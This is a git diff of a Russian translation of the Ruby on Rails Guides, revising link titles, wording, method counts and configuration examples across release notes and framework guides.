"озаглавливани(е|ю|я|ем)", + "отзеркалива(ет|ть|ют|ете)(ся|)", + "отзеркаливани(е|ю|я|ем)", "отрисовывающ(ая|ий|ую)", "отрефакторен(а|о|ы|ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми|)", "отрендерен(а|ы|)", @@ -143,7 +145,8 @@ "перевызван(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", "перевызыва(ет|ть|ют)(ся|)", "перезапросить", - "переоткрыва(ет|ть|ют)(ся|)", + "переоткрыва(ет|ть|ют|ете)(ся|)", + "переподключа(ет|ть|ют)(ся|)", "плейсхолдер(а|е|у|ы|ах|ов|ом|ами|)", "плюрализаци(и|ю|я|ей)", "поддомен(а|е|у|ы|ах|ов|ом|ами|)", diff --git a/source/3_0_release_notes.md b/source/3_0_release_notes.md index 5c7a7aef..09a26c89 100644 --- a/source/3_0_release_notes.md +++ b/source/3_0_release_notes.md @@ -39,7 +39,7 @@ TIP: Отметьте, что в Ruby 1.8.7 p248 и p249 имеются ошиб ### Объект Rails Application -Как часть внутренней работы по поддержке запуска нескольких приложений Rails в одном процессе, Rails 3 представляет концепцию объекта Application. Этот объект содержит все настройки, специфичные для приложения, и очень похож по сути на `config/environment.rb` из прежних версий Rails. +Как часть внутренней работы по поддержке запуска нескольких приложений на Rails в одном процессе, Rails 3 представляет концепцию объекта Application. Этот объект содержит все настройки, специфичные для приложения, и очень похож по сути на `config/environment.rb` из прежних версий Rails. Теперь каждое приложение Rails должно иметь соответствующий объект application. Этот объект определяется в `config/application.rb`. При обновлении существующего приложения до Rails 3, необходимо добавить этот файл и переместить подходящие конфигурации из `config/environment.rb` в `config/application.rb`. @@ -112,21 +112,21 @@ $ ruby /path/to/rails/bin/rails new myapp --dev Railties был обновлен, чтобы предоставить совместимое с плагинами API для всего фреймворка Rails, а также полностью переписаны генераторы и зависимости Rails, в результате разработчики смогут в значительной степени внедрять свой код в генераторы и фреймворк приложения совместимым и определенным образом. -### Все основные компоненты Rails были разделены +### Все компоненты ядра Rails были разделены -В связи с объединением Merb и Rails, одним из заданий было устранение тесно связанных вместе основных компонентов Rails. Это было достигнуто, и теперь все основные компоненты Rails используют то же API, что вы можете использовать для своих плагинов. Это означает, что каждый сделанный вами плагин или замена любого основного компонента (например, DataMapper или Sequel) имеют доступ ко всему функционалу, к которому имеют доступ основные компоненты Rails, и могут расширять и улучшать его как угодно. +В связи с объединением Merb и Rails, одним из заданий было устранение тесно связанных вместе компонентов ядра Rails. Это было достигнуто, и теперь все компоненты ядра Rails используют то же API, что вы можете использовать для своих плагинов. Это означает, что каждый сделанный вами плагин или замена любого компонента ядра (например, DataMapper или Sequel) имеют доступ ко всему функционалу, к которому имеют доступ компоненты ядра Rails, и могут расширять и улучшать его как угодно. Подробнее: - [The Great Decoupling](http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/) ### Абстракция Active Model -Частью разделения основных компонентов было выделение всех связей из Action Pack в Active Record. Теперь это выполнено. Всем новым плагинам ORM теперь всего лишь нужно внедрить интерфейсы Active Model, чтобы работать с Action Pack. +Частью разделения компонентов ядра было выделение всех связей из Action Pack в Active Record. Теперь это выполнено. Всем новым плагинам ORM теперь всего лишь нужно внедрить интерфейсы Active Model, чтобы работать с Action Pack. Подробнее: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/) ### Абстракция контроллера -Другой крупной частью разделения основных компонентов было создание основного суперкласса, отделенного от терминов HTTP, для управления рендерингом вьюх и т.д. Создание `AbstractController` позволило существенно упростить `ActionController` и `ActionMailer`, убрав общий код из этих библиотек, и поместив его в Abstract Controller. +Другой крупной частью разделения компонентов ядра было создание основного суперкласса, отделенного от терминов HTTP, для управления рендерингом вьюх и т.д. Создание `AbstractController` позволило существенно упростить `ActionController` и `ActionMailer`, убрав общий код из этих библиотек, и поместив его в Abstract Controller. Подробнее: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/) @@ -196,7 +196,7 @@ Railties Подробнее: * [Discovering Rails 3 generators](http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators) -* [The Rails Module (in Rails 3)](http://litanyagainstfear.com/blog/2010/02/03/the-rails-module/) +* [The Rails Module (in Rails 3)](http://quaran.to/blog/2010/02/03/the-rails-module/) Action Pack ----------- @@ -334,7 +334,7 @@ Active Model это новшество в Rails 3.0. Он представляе ### Абстракция ORM и интерфейс Action Pack -Частью разделения основных компонентов было выделение всех связей из Action Pack в Active Record. Теперь это выполнено. Всем новым плагинам ORM теперь всего лишь нужно внедрить интерфейсы Active Model, чтобы работать с Action Pack. +Частью разделения компонентов ядра было выделение всех связей из Action Pack в Active Record. Теперь это выполнено. Всем новым плагинам ORM теперь всего лишь нужно внедрить интерфейсы Active Model, чтобы работать с Action Pack. Подробнее: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/) @@ -488,7 +488,7 @@ Active Resource Active Support -------------- -В Active Support были направлены большие усилия на то, чтобы сделать его раздробленным, это означает, что вам больше не нужно требовать всю библиотеку Active Support, чтобы пользоваться ее частью. Это позволило различным частям основных компонент Rails выполняться быстрее. +В Active Support были направлены большие усилия на то, чтобы сделать его раздробленным, это означает, что вам больше не нужно требовать всю библиотеку Active Support, чтобы пользоваться ее частью. Это позволило различным частям компонентов ядра Rails выполняться быстрее. Вот основные изменения в Active Support: diff --git a/source/4_0_release_notes.md b/source/4_0_release_notes.md index 2230d737..c610a42c 100644 --- a/source/4_0_release_notes.md +++ b/source/4_0_release_notes.md @@ -13,7 +13,7 @@ Обновление до Rails 4.0 ----------------------- -Если обновляете существующее приложение, было бы хорошо иметь перед этим покрытие тестами. Также, до попытки обновиться до Rails 4.0, необходимо сначала обновиться до Rails 3.2 и убедиться, что приложение все еще выполняется так, как нужно. Список вещей, которые нужно выполнить при обновлении доступен в руководстве [Обновление Ruby on Rails](/upgrading-ruby-on-rails#upgrading-from-rails-3-2-to-rails-4-0). +Если обновляете существующее приложение, было бы хорошо иметь перед этим покрытие тестами. Также, до попытки обновиться до Rails 4.0, необходимо сначала обновиться до Rails 3.2 и убедиться, что приложение все еще выполняется так, как нужно. Список вещей, которые нужно выполнить при обновлении доступен в руководстве [Апгрейд Ruby on Rails](/upgrading-ruby-on-rails#upgrading-from-rails-3-2-to-rails-4-0). TODO: Configuration changes in environment files diff --git a/source/5_1_release_notes.md b/source/5_1_release_notes.md index 157bb232..dc4f6e38 100644 --- a/source/5_1_release_notes.md +++ b/source/5_1_release_notes.md @@ -294,6 +294,9 @@ Action Pack ([Commit](https://github.com/rails/rails/commit/79a5ea9eadb4d43b62afacedc0706cbe88c54496), [Commit](https://github.com/rails/rails/commit/57e1c99a280bdc1b324936a690350320a1cd8111)) +* Удалена устаревшая поддержка для вызова метода `HashWithIndifferentAccess` на `ActionController::Parameters`. + ([Commit](https://github.com/rails/rails/pull/26746/commits/7093ceb480ad6a0a91b511832dad4c6a86981b93)) + ### Устарело * Устарел `config.action_controller.raise_on_unfiltered_parameters`. Он ничего не делает в Rails 5.1. diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index d5398089..839c7c81 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -109,7 +109,7 @@ NOTE: Фактический URL в этом примере будет пере Значение `params[:ids]` теперь будет `["1", "2", "3"]`. Отметьте, что значения параметра всегда строковое; Rails не делает попыток угадать или предсказать тип. -NOTE: Значения, такие как `[nil]` или `[nil, nil, ...]` в `params` по умолчанию заменяются на `[]` по причине безопасности. Подробнее смотрите в [Руководстве по безопасности](/ruby-on-rails-security-guide#unsafe-query-generation). +NOTE: Значения, такие как `[nil]` или `[nil, nil, ...]` в `params` по умолчанию заменяются на `[]` по причине безопасности. Подробнее смотрите в руководстве [Безопасность приложений на Rails](/ruby-on-rails-security-guide#unsafe-query-generation). Чтобы послать хэш, следует заключить имя ключа в скобки: @@ -321,7 +321,7 @@ CookieStore могут хранить около 4 Кбайт данных - н Если пользовательские сессии не хранят критически важные данные или нет необходимости в ее сохранности на долгий период (скажем, если она используется только для флеш-сообщений), можно рассмотреть использование `ActionDispatch::Session::CacheStore`. Он сохранит сессии с использованием реализации кэша, которая была настроена для приложения. Преимущество этого заключается в том, что для хранения сессий можно использовать существующую инфраструктуру кэширования без необходимости дополнительных настроек или администрирования. Недостатком, разумеется, является то, что сессии будут недолговечными и могут исчезнуть в любое время. -Читайте подробнее о хранении сессий в [Руководстве по безопасности](/ruby-on-rails-security-guide). +Читайте подробнее о хранении сессий в руководстве [Безопасность приложений на Rails](/ruby-on-rails-security-guide). Если вы нуждаетесь в другом механизме хранения сессий, измените его в инициализаторе: @@ -736,7 +736,7 @@ Rails добавит этот токен в каждую форму, генер `form_authenticity_token` генерирует валидный аутентификационный токен. Его полезно размещать в тех местах, куда Rails не добавляет его автоматически, например в произвольные вызовы Ajax. -В [Руководстве по безопасности](/ruby-on-rails-security-guide) имеется более подробная информация об этом, и множество других вопросов, посвященных безопасности, которые вы должны принимать во внимание при разработке веб-приложения. +В руководстве [Безопасность приложений на Rails](/ruby-on-rails-security-guide) имеется более подробная информация об этом, и множество других вопросов, посвященных безопасности, которые вы должны принимать во внимание при разработке веб-приложения. (the-request-and-response-objects) Объекты Request и Response ------------------------------------------------------------- diff --git a/source/action_mailer_basics.md b/source/action_mailer_basics.md index 50f56710..07f3e943 100644 --- a/source/action_mailer_basics.md +++ b/source/action_mailer_basics.md @@ -632,7 +632,7 @@ Action Mailer теперь всего лишь наследуется от `Abst | `deliveries` | Содержит массив всех электронных писем, отправленных через Action Mailer с помощью delivery_method :test. Очень полезно для юнит- и функционального тестирования.| | `default_options` | Позволит вам установить значения по умолчанию для опций метода `mail` (`:from`, `:reply_to` и т.д.).| -Подробное описание возможных конфигураций смотрите в [разделе про настройку Action Mailer](/configuring-rails-applications#configuring-action-mailer) нашего руководства по конфигурированию приложений Rails. +Подробное описание возможных конфигураций смотрите в [разделе про настройку Action Mailer](/configuring-rails-applications#configuring-action-mailer) нашего руководства по конфигурированию приложений на Rails. ### Пример настройки Action Mailer @@ -663,7 +663,7 @@ config.action_mailer.smtp_settings = { user_name: '', password: '', authentication: 'plain', - enable_starttls_auto: true } + enable_starttls_auto: true } ``` Note: 15 июля 2014 Google усилили [меры безопасности](https://support.google.com/accounts/answer/6010255) и теперь блокируют попытки от приложений, которые они сочтут небезопасными. Вы можете изменить ваши настройки gmail [здесь](https://www.google.com/settings/security/lesssecureapps), чтобы позволить попытки. Если ваша учетная запись Gmail активирована с использованием двухфакторной аутентификации, вам нужно будет установить [пароль приложения](https://myaccount.google.com/apppasswords) и использовать ее вместо обычного пароля. Кроме того, вы можете использовать другой почтовый провайдер (ESP, email service provider) для отправки почты, заменив выше 'smtp.gmail.com' на адрес вашего провайдера. @@ -671,7 +671,7 @@ Note: 15 июля 2014 Google усилили [меры безопасности] Тестирование рассыльщика ------------------------ -Подробные инструкции, как тестировать ваши рассыльщики, можно найти в [руководстве по тестированию](a-guide-to-testing-rails-applications#testing-your-mailers) +Подробные инструкции, как тестировать ваши рассыльщики, можно найти в руководстве [Тестирование приложений на Rails](a-guide-to-testing-rails-applications#testing-your-mailers) Перехват писем -------------- diff --git a/source/action_view_overview.md b/source/action_view_overview.md index b3275765..9a3a7488 100644 --- a/source/action_view_overview.md +++ b/source/action_view_overview.md @@ -791,20 +791,22 @@ third: Созданным HTML будет: ```html - - - - + + + + + + ``` Объект params, созданный при отправке этой формы, будет выглядеть так: ```ruby -{ "action" => "create", "controller" => "people", "person" => { "first_name" => "William", "last_name" => "Smith" } } +{"utf8" => "✓", "authenticity_token" => "lTuvBzs7ANygT0NFinXj98tfw3Emfm65wwYLbUvoWsK2pngccIQSUorM2C035M9dZswXgWTvKwFS8W5TVblpYw==", "person" => {"first_name" => "William", "last_name" => "Smith"}, "commit" => "Create", "controller" => "people", "action" => "create"} ``` -В хэше params будет вложенное значение person, к которому можно получить доступ в контроллере с помощью params[:person]. +В хэше params будет вложенное значение person, к которому можно получить доступ в контроллере с помощью `params[:person]`. #### check_box @@ -1469,7 +1471,7 @@ NB: Результат все еще может содержать неэкра <%= csrf_meta_tags %> ``` -NOTE: Обычные формы создают скрытые поля, поэтому они не используют эти теги. Подробнее в [Руководстве Rails по безопасности](/ruby-on-rails-security-guide#cross-site-request-forgery-csrf). +NOTE: Обычные формы создают скрытые поля, поэтому они не используют эти теги. Подробнее в руководстве [Безопасность приложений на Rails](/ruby-on-rails-security-guide#cross-site-request-forgery-csrf). Локализованные вьюхи -------------------- diff --git a/source/active_job_basics.md b/source/active_job_basics.md index 3d9483a7..23cb66d0 100644 --- a/source/active_job_basics.md +++ b/source/active_job_basics.md @@ -20,7 +20,7 @@ Active Job - это фреймворк для объявления задани Назначение Active Job --------------------- -Главным является то, что он обеспечивает, что у всех приложений Rails имеется встроенная инфраструктура для заданий. Затем у нас могут появиться особенности фреймворка или других гемов, созданных на его основе, позволяющие не заботится об отличиях в API между различными исполнителями заданий, такими как Delayed Job и Resque. Подбор бэкенда для очередей станет более оперативной работой. Вы сможете переключаться между ними без необходимости переписывать свои задания. +Главным является то, что он обеспечивает, что у всех приложений на Rails имеется встроенная инфраструктура для заданий. Затем у нас могут появиться особенности фреймворка или других гемов, созданных на его основе, позволяющие не заботится об отличиях в API между различными исполнителями заданий, такими как Delayed Job и Resque. Подбор бэкенда для очередей станет более оперативной работой. Вы сможете переключаться между ними без необходимости переписывать свои задания. NOTE: По умолчанию, Rails поставляется с асинхронной реализацией очереди, запускающей задания с помощью пула тредов внутри процесса. Задания будут запущены асинхронно, но любые задания в очереди будут потеряны при перезагрузке. @@ -361,4 +361,4 @@ GlobalID позволяет сериализовать полностью объ Тестирование заданий -------------------- -Вы можете найти подробные инструкции о том, как тестировать ваши задания в [руководстве по тестированию](a-guide-to-testing-rails-applications#jobs-testing). +Вы можете найти подробные инструкции о том, как тестировать ваши задания в руководстве [Тестирование приложений на Rails](a-guide-to-testing-rails-applications#jobs-testing). diff --git a/source/active_record_basics.md b/source/active_record_basics.md index fff17b2f..158cbb5b 100644 --- a/source/active_record_basics.md +++ b/source/active_record_basics.md @@ -22,7 +22,7 @@ Active Record это M в [MVC](https://ru.wikipedia.org/wiki/Model-View-Control ### Object Relational Mapping (ORM) -Object Relational Mapping, обычно упоминающееся как аббревиатура ORM, это техника, соединяющая сложные объекты приложения с таблицами в системе управления реляционными базами данных. С использованием ORM, свойства и взаимоотношения этих объектов приложения могут быть с легкостью сохранены и получены из базы данных без непосредственного написания выражений SQL, и, в итоге, с меньшим суммарным кодом для доступа в базу данных. +[Object Relational Mapping](https://ru.wikipedia.org/wiki/ORM), обычно упоминающееся как аббревиатура ORM, это техника, соединяющая сложные объекты приложения с таблицами в системе управления реляционными базами данных. С использованием ORM, свойства и взаимоотношения этих объектов приложения могут быть с легкостью сохранены и получены из базы данных без непосредственного написания выражений SQL, и, в итоге, с меньшим суммарным кодом для доступа в базу данных. ### Active Record это фреймворк ORM diff --git a/source/active_record_migrations.md b/source/active_record_migrations.md index 18c9ca9c..20c83fe3 100644 --- a/source/active_record_migrations.md +++ b/source/active_record_migrations.md @@ -294,7 +294,7 @@ create_table :products, options: "ENGINE=BLACKHOLE" do |t| end ``` -добавит `ENGINE=BLACKHOLE` к SQL выражению, используемому для создания таблицы (при использовании MySQL или MariaDB по умолчанию передается `ENGINE=InnoDB`). +добавит `ENGINE=BLACKHOLE` к SQL выражению, используемому для создания таблицы. Также можно передать опцию `:comment` с любым описанием для таблицы, которое будет сохранено в самой базе данных, и может быть просмотрено с помощью инструментов администрирования базы данных, таких как MySQL Workbench или PgAdmin III. Очень рекомендуется оставлять комментарии в миграциях для приложений с большими базами данных, так как это помогает понять модель данных и сгенерировать документацию. В настоящее время комментарии поддерживают только адаптеры MySQL и PostgreSQL. diff --git a/source/active_record_querying.md b/source/active_record_querying.md index 40f11afc..1762a8e1 100644 --- a/source/active_record_querying.md +++ b/source/active_record_querying.md @@ -454,7 +454,7 @@ Client.where("orders_count = #{params[:orders]}") по причине безопасности аргумента. Помещение переменной прямо в строку условий передает переменную в базу данных _как есть_. Это означает, что неэкранированная переменная, переданная пользователем, может иметь злой умысел. Если так сделать, вы подвергаете базу данных риску, так как если пользователь обнаружит, что он может использовать вашу базу данных, то он сможет сделать с ней что угодно. Никогда не помещайте аргументы прямо в строку условий! -TIP: Подробнее об опасности SQL инъекций можно узнать из [Руководства Ruby On Rails по безопасности](/ruby-on-rails-security-guide). +TIP: Подробнее об опасности SQL инъекций можно узнать из руководства [Безопасность приложений на Rails](/ruby-on-rails-security-guide). #### Символы-заполнители в условиях @@ -912,7 +912,7 @@ client.save Блокировка записей для обновления --------------------------------- -Блокировка полезна для предотвращения cостояния гонки при обновлении записей в базе данных и обеспечения атомарного обновления. +Блокировка полезна для предотвращения состояния гонки при обновлении записей в базе данных и обеспечения атомарного обновления. Active Record предоставляет два механизма блокировки: diff --git a/source/active_record_validations.md b/source/active_record_validations.md index 378cf557..f659b299 100644 --- a/source/active_record_validations.md +++ b/source/active_record_validations.md @@ -730,7 +730,7 @@ end ```ruby class Computer < ApplicationRecord validates :mouse, presence: true, - if: [Proc.new { |c| c.market.retail? }, :desktop?], + if: [Proc.new { |c| c.market.retail? }, :desktop?], unless: Proc.new { |c| c.trackpad.present? } end ``` diff --git a/source/active_storage_overview.md b/source/active_storage_overview.md index 20ee2b85..9efadabc 100644 --- a/source/active_storage_overview.md +++ b/source/active_storage_overview.md @@ -71,6 +71,15 @@ local: root: <%= Rails.root.join("storage") %> ``` +Можно опционально указать хост для генерации URL (по умолчанию используется `http://localhost:3000`): + +```yaml +local: + service: Disk + root: <%= Rails.root.join("storage") %> + host: http://myapp.test + ``` + ### Сервис Amazon S3 Объявление сервиса S3 в `config/storage.yml`: diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md index 1893b45f..3460c9d3 100644 --- a/source/active_support_core_extensions.md +++ b/source/active_support_core_extensions.md @@ -1006,7 +1006,7 @@ NOTE: Определено в `active_support/core_ext/class/subclasses.rb`. #### Мотивация -Вставка данных в шаблоны HTML требует дополнительной осторожности. Например, нельзя просто интерполировать `@review.title` на страницу HTML. С одной стороны, если заголовок рецензии "Flanagan & Matz rules!", то результат не будет правильно отображен, поскольку амперсанд должен быть экранирован как "&amp;". К тому же, в зависимости от приложения, это может быть большой дырой в безопасности, так как пользователи могут внедрить вредоносный HTML, устанавливающий вручную изготовленный заголовок рецензии. Смотрите подробную информацию о рисках в разделе о межсайтовом скриптинге в [Руководстве по безопасности](/ruby-on-rails-security-guide#cross-site-scripting-xss). +Вставка данных в шаблоны HTML требует дополнительной осторожности. Например, нельзя просто интерполировать `@review.title` на страницу HTML. С одной стороны, если заголовок рецензии "Flanagan & Matz rules!", то результат не будет правильно отображен, поскольку амперсанд должен быть экранирован как "&amp;". К тому же, в зависимости от приложения, это может быть большой дырой в безопасности, так как пользователи могут внедрить вредоносный HTML, устанавливающий вручную изготовленный заголовок рецензии. Смотрите подробную информацию о рисках в разделе о межсайтовом скриптинге в руководстве [Безопасность приложений на Rails](/ruby-on-rails-security-guide#cross-site-scripting-xss). #### Безопасные строки @@ -1956,19 +1956,19 @@ NOTE: Определено в `active_support/core_ext/integer/time.rb`. Метод `to_s` предоставляет спецификатор по умолчанию для "F". Это означает, что простой вызов `to_s` приведет к представлению с плавающей запятой вместо инженерной нотации: ```ruby -BigDecimal.new(5.00, 6).to_s # => "5.0" +BigDecimal(5.00, 6).to_s # => "5.0" ``` а также поддерживаются эти спецификаторы символа: ```ruby -BigDecimal.new(5.00, 6).to_s(:db) # => "5.0" +BigDecimal(5.00, 6).to_s(:db) # => "5.0" ``` Инженерная нотация все еще поддерживается: ```ruby -BigDecimal.new(5.00, 6).to_s("e") # => "0.5E1" +BigDecimal(5.00, 6).to_s("e") # => "0.5E1" ``` Расширения для `Enumerable` diff --git a/source/active_support_instrumentation.md b/source/active_support_instrumentation.md index ddecf47a..660d66d9 100644 --- a/source/active_support_instrumentation.md +++ b/source/active_support_instrumentation.md @@ -541,6 +541,13 @@ Active Storage (Rails 5.2) | `:key` | Защищенный токен | | `:service` | Имя сервиса | +### service_delete_prefixed.active_storage + +| Ключ | Значение | +| ------------ | ------------------- | +| `:prefix` | Префикс ключа | +| `:service` | Имя сервиса | + ### service_exist.active_storage | Ключ | Значение | diff --git a/source/association_basics.md b/source/association_basics.md index 02cbf37d..648f507c 100644 --- a/source/association_basics.md +++ b/source/association_basics.md @@ -727,12 +727,9 @@ a.first_name = 'David' a.first_name == b.author.first_name # => true ``` -Active Record поддерживает автоматическое определение для большинства связей со стандартными именами. Однако, Active Record не будет автоматически определять двунаправленные связи, содержащие любые их следующих опций: +Active Record поддерживает автоматическое определение для большинства связей со стандартными именами. Однако, Active Record не будет автоматически определять двунаправленные связи, содержащие область видимости или любые из следующих опций: -* `:conditions` * `:through` -* `:polymorphic` -* `:class_name` * `:foreign_key` Например, рассмотрим следующие объявления моделей: @@ -779,12 +776,6 @@ a.first_name = 'David' a.first_name == b.writer.first_name # => true ``` -Имеется несколько ограничений в поддержке `:inverse_of`: - -* Они не работают со связями `:through`. -* Они не работают со связями `:polymorphic`. -* Они не работают со связями `:as`. - Подробная информация по связи `belongs_to` ------------------------------------------ @@ -792,7 +783,7 @@ a.first_name == b.writer.first_name # => true ### Методы, добавляемые `belongs_to` -Когда объявляете связь `belongs_to`, объявляющий класс автоматически получает пять методов, относящихся к связи: +Когда объявляете связь `belongs_to`, объявляющий класс автоматически получает 6 методов, относящихся к связи: * `association` * `association=(associate)` @@ -990,7 +981,7 @@ end #### `:inverse_of` -Опция `:inverse_of` определяет имя связи `has_many` или `has_one`, являющейся противоположностью для этой связи. Не работает в комбинации с опциями `:polymorphic`. +Опция `:inverse_of` определяет имя связи `has_many` или `has_one`, являющейся противоположностью для этой связи. ```ruby class Author < ApplicationRecord @@ -1133,7 +1124,7 @@ end ### Методы, добавляемые `has_one` -Когда объявляете связь `has_one`, объявляющий класс автоматически получает пять методов, относящихся к связи: +Когда объявляете связь `has_one`, объявляющий класс автоматически получает 6 методов, относящихся к связи: * `association` * `association=(associate)` @@ -1273,7 +1264,7 @@ TIP: В любом случае, Rails не создаст столбцы вне #### `:inverse_of` -Опция `:inverse_of` определяет имя связи `belongs_to`, являющейся обратной для этой связи. Не работает в комбинации с опциями `:through` или `:as`. +Опция `:inverse_of` определяет имя связи `belongs_to`, являющейся обратной для этой связи. ```ruby class Supplier < ApplicationRecord @@ -1401,9 +1392,9 @@ end Связь `has_many` создает отношение один-ко-многим с другой моделью. В терминах базы данных эта связь говорит, что другой класс будет иметь внешний ключ, относящийся к экземплярам этого класса. -### Добавляемые методы +### Методы, добавляемые `has_many` -Когда объявляете связь `has_many`, объявляющий класс автоматически получает 16 методов, относящихся к связи: +Когда объявляете связь `has_many`, объявляющий класс автоматически получает 17 методов, относящихся к связи: * `collection` * `collection<<(object, ...)` @@ -1535,7 +1526,7 @@ WARNING: Объекты будут удалены, если они связан #### `collection.find(...)` -Метод `collection.find` ищет объекты в коллекции. Он использует тот же синтаксис и опции, что и `ActiveRecord::Base.find`. +Метод `collection.find` ищет объекты в коллекции. Он использует тот же синтаксис и опции, что и [`ActiveRecord::Base.find`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find). ```ruby @available_book = @author.books.find(1) @@ -1663,7 +1654,7 @@ TIP: В любом случае, Rails не создаст столбцы вне #### `:inverse_of` -Опция `:inverse_of` определяет имя связи `belongs_to`, являющейся обратной для этой связи. Не работает в комбинации с опциями `:through` или `:as`. +Опция `:inverse_of` определяет имя связи `belongs_to`, являющейся обратной для этой связи. ```ruby class Author < ApplicationRecord @@ -1910,9 +1901,9 @@ person.articles << article unless person.articles.include?(post) Связь `has_and_belongs_to_many` создает отношение многие-ко-многим с другой моделью. В терминах базы данных это связывает два класса через промежуточную соединительную таблицу, которая включает внешние ключи, относящиеся к каждому классу. -### Добавляемые методы +### Методы, добавляемые `has_and_belongs_to_many` -Когда объявляете связь `has_and_belongs_to_many`, объявляющий класс автоматически получает 16 методов, относящихся к связи: +Когда объявляете связь `has_and_belongs_to_many`, объявляющий класс автоматически получает 17 методов, относящихся к связи: * `collection` * `collection<<(object, ...)` @@ -2042,7 +2033,7 @@ NOTE: Этот метод - просто синоним к `collection.concat` #### `collection.find(...)` -Метод `collection.find` ищет объекты в коллекции. Он использует тот же синтаксис и опции, что и `ActiveRecord::Base.find`. А также добавляет дополнительное условие, что объект должен быть в коллекции. +Метод `collection.find` ищет объекты в коллекции. Он использует тот же синтаксис и опции, что и [`ActiveRecord::Base.find`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find). А также добавляет дополнительное условие, что объект должен быть в коллекции. ```ruby @assembly = @part.assemblies.find(1) @@ -2050,7 +2041,7 @@ NOTE: Этот метод - просто синоним к `collection.concat` #### `collection.where(...)` -Метод `collection.where` ищет объекты в коллекции, основываясь на переданных условиях, но объекты загружаются лениво, что означает, что база данных запрашивается только когда происходит доступ к объекту(-там). Он также добавляет дополнительное условие, что объект должен быть в коллекции. +Метод `collection.where` ищет объекты в коллекции, основываясь на переданных условиях, но объекты загружаются лениво, что означает, что база данных запрашивается только когда происходит доступ к объекту(-там). ```ruby @new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago) diff --git a/source/caching_with_rails.md b/source/caching_with_rails.md index b2fafdc2..4510b9ee 100644 --- a/source/caching_with_rails.md +++ b/source/caching_with_rails.md @@ -66,7 +66,7 @@ views/products/1-201505056193031061005000/bea67108094918eeba42cd4a6e786901 Число в середине — это `product_id`, с последующим значением временной метки в атрибуте `updated_at` записи продукта. Rails использует значение временной метки, чтобы убедиться, что он не отдает устаревшие данные. Если значение `updated_at` изменится, будет сгенерирован новый ключ. Затем Rails запишет новый кэш с этим ключом, а старый кэш, записанный со старым ключом, больше никогда не будет использован. Это называется прекращением, основанным на ключе. -Фрагменты кэша также могут быть прекращены, если изменяется фрагмент вьюхи (например, если изменяется HTML во вьюхе). Строка символов в конце ключа является дайджестом дерева шаблона. Это MD5 хэш, вычисленный на основе содержимого фрагмента вьюхи, которую вы кэшируете. Если вы измените фрагмент вьюхи, MD5 хэш изменится, прекращая существующий кэш. +Фрагменты кэша также могут быть прекращены, если изменяется фрагмент вьюхи (например, если изменяется HTML во вьюхе). Строка символов в конце ключа является дайджестом дерева шаблона. Это дайджест хэша (hash digest), вычисленного на основе содержимого фрагмента вьюхи, которую вы кэшируете. Если вы измените фрагмент вьюхи, дайджест хэша изменится, прекращая существующий кэш. TIP: Хранилища кэша, такие как Memcached, автоматически удалят старые файлы с кэшем. diff --git a/source/command_line.md b/source/command_line.md index bded8600..a8571b09 100644 --- a/source/command_line.md +++ b/source/command_line.md @@ -262,7 +262,7 @@ $ bin/rails db:migrate == CreateHighScores: migrated (0.0019s) ====================================== ``` -INFO: Давайте поговорим о юнит тестах. Юнит тесты - это код, который тестирует и делает утверждения о коде. В юнит тестировании мы берем часть кода, скажем, метод модели, и тестируем его входы и выходы. Юнит тесты ваши друзья. Чем раньше вы смиритесь с фактом, что качество жизни возрастет, когда станете тестировать свой код с помощью юнит тестов, тем лучше. Серьезно. Посетите [Руководство по тестированию](/a-guide-to-testing-rails-applications) для более глубокого изучения юнит тестирования. +INFO: Давайте поговорим о юнит тестах. Юнит тесты - это код, который тестирует и делает утверждения о коде. В юнит тестировании мы берем часть кода, скажем, метод модели, и тестируем его входы и выходы. Юнит тесты ваши друзья. Чем раньше вы смиритесь с фактом, что качество жизни возрастет, когда станете тестировать свой код с помощью юнит тестов, тем лучше. Серьезно. Посетите руководство [Тестирование приложений на Rails](/a-guide-to-testing-rails-applications) для более глубокого изучения юнит тестирования. Давайте взглянем на интерфейс, который Rails создал для нас. @@ -517,7 +517,7 @@ spec/models/user_spec.rb: ### `test` -INFO: Хорошее описание юнит-тестирования в Rails дано в [Руководстве по тестированию приложений на Rails](/a-guide-to-testing-rails-applications). +INFO: Хорошее описание юнит-тестирования в Rails дано в руководстве [Тестирование приложений на Rails](/a-guide-to-testing-rails-applications). Rails поставляется с тестовым набором под названием `Minitest`. Rails сохраняет стабильность в связи с использованием тестов. Задачи, доступные в пространстве имен `test:`, помогают с запуском различных тестов, которые вы, несомненно, напишите. diff --git a/source/configuring.md b/source/configuring.md index 74142c1b..6e310091 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -62,8 +62,6 @@ Rails будет использовать эту конкретную настр * `config.cache_classes` контролирует, будут ли классы и модули приложения перезагружены при каждом запросе. По умолчанию `false` в режиме development и true в режимах test и production. -* `config.action_view.cache_template_loading` контролирует, будут ли шаблоны перезагружены при каждом запросе. Умолчания те же, что и для `config.cache_classes`. - * `config.beginning_of_week` устанавливает начало недели по умолчанию для приложения. Принимает символ валидного дня недели (например, `:monday`). * `config.cache_store` конфигурирует, какое хранилище кэша использовать для кэширования Rails. Опции включают один из символов `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store` или объект, реализующий API кэша. По умолчанию `:file_store`. @@ -195,11 +193,13 @@ end * `helper` определяет, генерировать ли хелперы. По умолчанию `true`. -* `integration_tool` определяет интеграционный инструмент, используемый для генерации интеграционных тестов. По умолчанию `test_unit`. +* `integration_tool` определяет интеграционный инструмент, используемый для генерации интеграционных тестов. По умолчанию `:test_unit`. + +* `system_tests` определяет интеграционный инструмент, используемый для генерации системных тестов. По умолчанию `:test_unit`. * `javascripts` включает в генераторах хук для файлов JavaScript. Используется в Rails при запуске генератора `scaffold`. По умолчанию 